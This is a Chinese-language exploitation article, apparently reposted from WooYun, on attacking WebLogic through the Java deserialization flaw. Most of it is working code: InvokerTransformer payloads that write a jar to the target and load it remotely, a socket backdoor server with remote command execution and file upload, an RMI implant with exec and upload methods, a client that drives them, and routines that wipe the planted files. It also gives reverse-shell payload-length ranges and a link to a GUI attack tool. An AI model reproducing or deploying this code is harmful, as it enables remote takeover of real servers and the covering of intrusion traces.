<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/11690

            0x00 簡介


            Java反序列化漏洞由來已久,在WebLogic和JBoss等著名服務器上都曝出存在此漏洞。FoxGlove Security安全團隊的breenmachine給出了詳細的分析,但沒有給出更近一步的利用方式。前段時間rebeyond在不需要連接公網的情況下使用RMI的方式在WebLogic上實現了文本文件上傳和命令執行,但沒有實現二進制文件上傳。我通過使用Socket的方式實現了二進制文件上傳和命令執行,同時也實現了RMI方式的二進制文件。

            0x01 思路


            首先發Payload在目標服務器中寫入一個Socket實現的迷你服務器類,所有的功能都將由這個迷你服務器來執行,然后再發一個Payload來啟動服務器,最后本地客戶端創建Socket連接的方式向服務器發送請求來使用相應的功能,其中上傳二進制文件我采用分塊傳輸的思想,這樣可以實現上傳較大的文件。

            1. 本地創建Socket實現的迷你服務器類并導出jar包
            2. 把jar包上傳至目標服務器
            3. 啟動目標服務器上的迷你服務器
            4. 使用二進制文件上傳和命令執行功能
            5. 發送關閉請求,清理目標服務器殘留文件

            0x02 實現


            1.本地創建Socket實現的迷你服務器類并導出jar包

            #!java
            public class Server {
            
                /**
                 * 啟動服務器
                 * @param port
                 * @param path
                 */
                public static void start(int port, String path) {
                    ServerSocket server = null;
                    Socket client = null;
                    InputStream input = null;
                    OutputStream out = null;
                    Runtime runTime = Runtime.getRuntime();
                    try {
                        server = new ServerSocket(port);
                        // 0表示功能模式 1表示傳輸模式
                        int opcode = 0;
                        int len = 0;
                        byte[] data = new byte[100 * 1024];
                        String uploadPath = "";
                        boolean isUploadStart = false;
                        client = server.accept();
                        input = client.getInputStream();
                        out = client.getOutputStream();
                        byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
                        while (true) {
                            len = input.read(data);
                            if (len != -1) {
                                if (opcode == 0) {
                                    // 功能模式
                                    String operation = new String(data, 0, len);
                                    String[] receive = operation.split(":::");
                                    if ("bye".equals(receive[0])) {
                                        // 斷開連接 關閉服務器
                                        out.write("success".getBytes());
                                        out.flush();
                                        FileOutputStream outputStream = new FileOutputStream(path);
                                        // 清理殘留文件
                                        outputStream.write("".getBytes());
                                        outputStream.flush();
                                        outputStream.close();
                                        break;
                                    } else if ("cmd".equals(receive[0])) {
                                        // 執行命令 返回結果
                                        try {
                                            Process proc = runTime.exec(receive[1]);
                                            InputStream in = proc.getInputStream();
                                            byte[] procData = new byte[1024];
                                            byte[] total = new byte[0];
                                            int procDataLen = 0;
                                            while ((procDataLen = in.read(procData)) != -1) {
                                                byte[] temp = new byte[procDataLen];
                                                for (int i = 0; i < procDataLen; i++) {
                                                    temp[i] = procData[i];
                                                }
                                                total = byteMerger(total, temp);
                                            }
                                            if (total.length == 0) {
                                                out.write("error".getBytes());
                                            } else {
                                                out.write(total);
                                            }
                                            out.flush();
                                        } catch (Exception e) {
                                            e.printStackTrace();
                                            out.write("error".getBytes());
                                            out.flush();
                                        }
                                    } else if ("upload".equals(receive[0])) {
                                        // 切換成傳輸模式
                                        uploadPath = receive[1];
                                        isUploadStart = true;
                                        opcode = 1;
                                    }
                                } else if (opcode == 1) {
                                    // 傳輸模式
                                    byte[] receive = new byte[len];
                                    for (int i = 0; i < len; i++) {
                                        receive[i] = data[i];
                                    }
                                    if (Arrays.equals(overData, receive)) {
                                        // 傳輸結束切換成功能模式
                                        isUploadStart = false;
                                        opcode = 0;
                                    } else {
                                        // 分塊接收
                                        FileOutputStream outputStream = null;
                                        if (isUploadStart) {
                                            // 接收文件的開頭部分
                                            outputStream = new FileOutputStream(uploadPath, false);
                                            outputStream.write(receive);
                                            isUploadStart = false;
                                        } else {
                                            // 接收文件的結束部分
                                            outputStream = new FileOutputStream(uploadPath, true);
                                            outputStream.write(receive);
                                        }
                                        outputStream.close();
                                    }
                                }
                            } else {
                                Thread.sleep(1000);
                            }
                        }
                    } catch (Exception e) {
                        e.printStackTrace();
                        try {
                            out.write("error".getBytes());
                            out.flush();
                        } catch (IOException e1) {
                            e1.printStackTrace();
                        }
                    } finally {
                        try {
                            client.close();
                            server.close();
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                    }
                }
            
                /**
                 * 合并字節數組
                 * @param byte_1
                 * @param byte_2
                 * @return 合并后的數組
                 */
                private static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
                    byte[] byte_3 = new byte[byte_1.length + byte_2.length];
                    System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
                    System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
                    return byte_3;
                }
            
            }
            

            編譯并導出jar包

            2.發送Payload把jar包上傳至服務器

            這里我要特別說明一點,breenmachine在介紹WebLogic漏洞利用時特別說明了需要計算Payload的長度,但是我看到過的國內文章沒有一篇提到這一點,給出的利用代碼中的Payload長度值寫的都是原作者的09f3,我覺得這也是導致漏洞利用失敗的主要原因之一,因此發送Payload前最好計算下長度。

            A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.

            Payload的長度值可以在一個范圍內,我們團隊的cf_hb經過fuzz測試得到幾個范圍值:

            1. poc訪問指定url:0x0000-0x1e39
            2. 反彈shell:0x000-0x2049
            3. 執行命令calc.exe:0x0000-0x1d38

            這一步生成上傳jar包的Payload

            #!java
            public static byte[] generateServerPayload(String remotePath) throws Exception {
                final Transformer[] transformers = new Transformer[] {
                        new ConstantTransformer(FileOutputStream.class),
                        new InvokerTransformer("getConstructor",
                                new Class[] { Class[].class },
                                new Object[] { new Class[] { String.class } }),
                        new InvokerTransformer("newInstance",
                                new Class[] { Object[].class },
                                new Object[] { new Object[] { remotePath } }),
                        new InvokerTransformer("write", new Class[] { byte[].class },
                                new Object[] { Utils.hexStringToBytes(SERVER_JAR) }),
                        new ConstantTransformer(1) };
                return generateObject(transformers);
            }
            

            發送到目標服務器寫入jar包

            3.發送Payload啟動目標服務器上的迷你服務器

            生成啟動服務器的Payload

            #!java
            public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
                final Transformer[] transformers = new Transformer[] {
                        new ConstantTransformer(URLClassLoader.class),
                        new InvokerTransformer("getConstructor",
                                new Class[] { Class[].class },
                                new Object[] { new Class[] { URL[].class } }),
                        new InvokerTransformer("newInstance",
                                new Class[] { Object[].class },
                                new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }),
                        new InvokerTransformer("loadClass",
                                new Class[] { String.class },
                                new Object[] { "org.heysec.exp.Server" }),
                        new InvokerTransformer("getMethod",
                                new Class[] { String.class, Class[].class },
                                new Object[] { "start", new Class[] { int.class, String.class } }),
                        new InvokerTransformer("invoke",
                                new Class[] { Object.class, Object[].class },
                                new Object[] { null, new Object[] { port, remotePath } }) };
                return generateObject(transformers);
            }
            

            發送到目標服務器啟動迷你服務器

            4.使用二進制文件上傳和命令執行功能

            本地測試客戶端的代碼

            #!java
            public class Client {
                public static void main(String[] args) {
                    Socket client = null;
                    InputStream input = null;
                    OutputStream output = null;
                    FileInputStream fileInputStream = null;
                    try {
                        int len = 0;
                        byte[] receiveData = new byte[5 * 1024];
                        byte[] sendData = new byte[100 * 1024];
                        int sendLen = 0;
                        byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
            
                        // 創建客戶端Socket
                        client = new Socket("10.10.10.129", 8080);
                        input = client.getInputStream();
                        output = client.getOutputStream();
            
                        // 發送準備上傳文件命令使服務器切換到傳輸模式
                        output.write("upload:::test.zip".getBytes());
                        output.flush();
                        Thread.sleep(1000);
            
                        // 分塊傳輸文件
                        fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip");
                        sendLen = fileInputStream.read(sendData);
                        if (sendLen != -1) {
                            output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                            output.flush();
                            Thread.sleep(1000);
                            while ((sendLen = fileInputStream.read(sendData)) != -1) {
                                output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                                output.flush();
                            }
                        }
                        Thread.sleep(1000);
            
                        // 發送文件上傳結束命令
                        output.write(overData);
                        output.flush();
                        Thread.sleep(1000);
            
                        // 執行命令
                        output.write("cmd:::cmd /c dir".getBytes());
                        output.flush();
                        Thread.sleep(1000);
            
                        // 接收返回結果
                        len = input.read(receiveData);
                        String result = new String(receiveData, 0, len, "GBK");
                        System.out.println(result);
                        Thread.sleep(1000);
            
                        // 關閉服務器
                        output.write("bye".getBytes());
                        output.flush();
                        Thread.sleep(1000);
            
                        len = input.read(receiveData);
                        System.out.println(new String(receiveData, 0, len));
                    } catch (Exception e) {
                        e.printStackTrace();
                    } finally {
                        try {
                            fileInputStream.close();
                            client.close();
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
            
                    }
                }
            }
            

            測試結果1 圖片1

            測試結果2 圖片2

            5. 發送關閉請求清理殘留文件

            客戶端發送關閉請求

            #!java
            output.write("bye".getBytes());
            output.flush();
            

            服務器清除殘留文件并關閉

            #!java
            if ("bye".equals(receive[0])) {
                // 斷開連接 關閉服務器
                out.write("success".getBytes());
                out.flush();
                FileOutputStream outputStream = new FileOutputStream(path);
                // 清理殘留文件
                outputStream.write("".getBytes());
                outputStream.flush();
                outputStream.close();
                break;
            }
            

            這就是按照我的思路實現的全部過程

            0x03 RMI方式實現二進制文件上傳及優化流程


            這部分只是對rebeyond的利用方式進行了擴展,添加了二進制文件上傳的功能以及優化了流程。

            擴展的遠程類

            #!java
            public class RemoteObjectImpl implements RemoteObject {
            
                /**
                 * 分塊上傳文件
                 */
                public boolean upload(String uploadPath, byte[] data, boolean append) {
                    FileOutputStream out = null;
                    try {
                        out = new FileOutputStream(uploadPath, append);
                        out.write(data);
                        return true;
                    } catch (Exception e) {
                        e.printStackTrace();
                        return false;
                    } finally {
                        try {
                            out.close();
                        } catch (Exception e) {
                            e.printStackTrace();
                            return false;
                        }
                    }
                }
            
                /**
                 * 執行命令
                 */
                public String exec(String cmd) {
                    try {
                        Process proc = Runtime.getRuntime().exec(cmd);
                        BufferedReader br = new BufferedReader(new InputStreamReader(
                                proc.getInputStream()));
                        StringBuffer sb = new StringBuffer();
                        String line;
                        String result;
                        while ((line = br.readLine()) != null) {
                            sb.append(line).append("\n");
                        }
                        result = sb.toString();
                        if ("".equals(result)) {
                            return "error";
                        } else {
                            return result;
                        }
                    } catch (Exception e) {
                        e.printStackTrace();
                        return "error";
                    }
                }
            
                /**
                 * 反注冊遠程類并清除殘留文件
                 */
                public void unbind(String path) {
                    try {
                        Context ctx = new InitialContext();
                        ctx.unbind("RemoteObject");
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                    FileOutputStream out = null;
                    File file = null;
                    try {
                        file = new File(path);
                        out = new FileOutputStream(file);
                        out.write("".getBytes());
                    } catch (Exception e) {
                        e.printStackTrace();
                    } finally {
                        try {
                            out.close();
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
            
                }
            
                /**
                 * 注冊遠程類
                 */
                public static void bind() {
                    try {
                        RemoteObjectImpl remote = new RemoteObjectImpl();
                        Context ctx = new InitialContext();
                        ctx.bind("RemoteObject", remote);
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
            

            這樣最后反注冊和清除殘留文件的時候就不需要再發送Payload了,只要調用遠程類的unbind方法就行。

            0x04 Socket VS RMI


            VS Socket RMI
            端口 需要額外端口可能被防火墻攔截 使用WebLogic本身端口
            傳輸速率 通過Socket字節流較快 通過遠程過程調用較慢

            0x05 總結


            這里以創建Socket服務器的思想實現了漏洞利用,我們可以繼續擴展服務器的功能,甚至其他的代碼執行漏洞也可以嘗試這種方式,在傳輸較大文件時建議優先使用Socket方式。最后,我開發了GUI程序集成了Socket和RMI兩種利用方式,大家可以自主選擇。

            Socket利用方式 圖片3

            RMI利用方式 圖片4

            下載鏈接:http://pan.baidu.com/s/1pKuR9GJ 密碼:62x4

            0x06 參考鏈接


            1. http://www.freebuf.com/vuls/90802.html
            2. http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线